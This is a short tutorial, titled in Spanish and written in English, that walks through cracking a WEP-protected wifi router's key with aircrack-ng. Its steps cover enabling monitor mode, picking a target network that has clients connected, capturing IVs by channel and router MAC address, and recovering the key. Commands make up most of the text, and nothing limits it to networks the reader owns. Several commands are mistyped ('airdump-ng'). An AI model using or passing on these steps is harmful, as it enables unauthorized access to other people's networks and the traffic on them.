Como entrar en un router wifi protegido por wep

First we need to install the necessary Ubuntu packages. This can be done with the Synaptic Package Manager (search for aircrack-ng and kismet) or using the Terminal.
$sudo apt-get install aircrack-ng
$sudo apt-get install kismet

Let's start by testing the wireless card:
$sudo airmon-ng stop ath0
$sudo airmon-ng start wifi0

Let's see all available wireless networks. Let's choose a wireless network with a good signal quality and with clients connected to it. Keep in mind the channel id (i.e. 6 or 11) and the router Mac Address.
$sudo airodump-ng mon0

Next step is to intercept data/packages we will need a bunch of IV's logged so we can decrypt the password later. Usually 250k or 500k are enough, sometimes the aircrack after failing deciphering the password will ask for 5.000 to 10.000 IV's. Let's start logging using the following command (6 stands for channel id and 00:MA:CA:DD:RE:SS for the router mac address.
sudo airdump-ng -c 6 --bssid 00:MA:CA:DD:RE:SS -w dump mon0

The final step, run this command to decipher the password.
$sudo aircrack-ng -a 1 -f 10 dump*.cap
The result shoud be:
KEY FOUND! **:**:**:**:** ASCII: ******
Decrypted correctly: 100%
If you get:
Failed. Next try with 5.000 IV's or .... Failed. Next try with 10.000
Then just collect more packages with $sudo airdump-ng -c 6 --bssid 00:MA:CA:DD:RE:SS -w dump mon0